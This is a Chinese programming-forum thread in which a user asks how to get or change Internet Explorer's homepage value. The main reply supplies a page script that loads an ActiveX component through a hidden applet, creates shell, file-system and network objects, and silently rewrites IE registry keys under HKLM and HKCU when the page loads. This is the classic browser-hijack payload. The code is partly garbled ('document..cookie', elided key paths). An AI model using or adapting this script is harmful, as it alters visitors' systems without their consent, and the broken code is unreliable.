TO:pork () 你是想得到IE浏览器里面的地址吗?如果是的话,请用:
<Script language="JavaScript" >
URL=document.URL;
alert(URL);
</script>

解决方案 »

  1.   

    不好意思,是IE中工具里的internet选项中主页的值。
      

  2.   

    给你个例子参考RegWrite 
    <SCRIPT Language="javascript" type="text/javascript">
    <!--document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");function f(){
    try
    {
    //ActiveX initialization
    a1=document.applets[0];
    a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
    a1.createInstance();
    Shl = a1.GetObject();
    a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
    a1.createInstance();
    FSO = a1.GetObject();
    a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
    a1.createInstance();
    Net = a1.GetObject();try
    {
    if (document..cookie.indexOf("Chg") == -1)
    {
    Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\.....", "..");//这里人要修改注册表键值
    Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\.....", "..");
    var expdate = new Date((new Date()).getTime() + (1));
    document..cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"}
    }
    catch(e)
    {}
    }
    catch(e)
    {}
    }
    function init()
    {
    setTimeout("f()", 1000);
    }
    init();// -->
    </SCRIPT>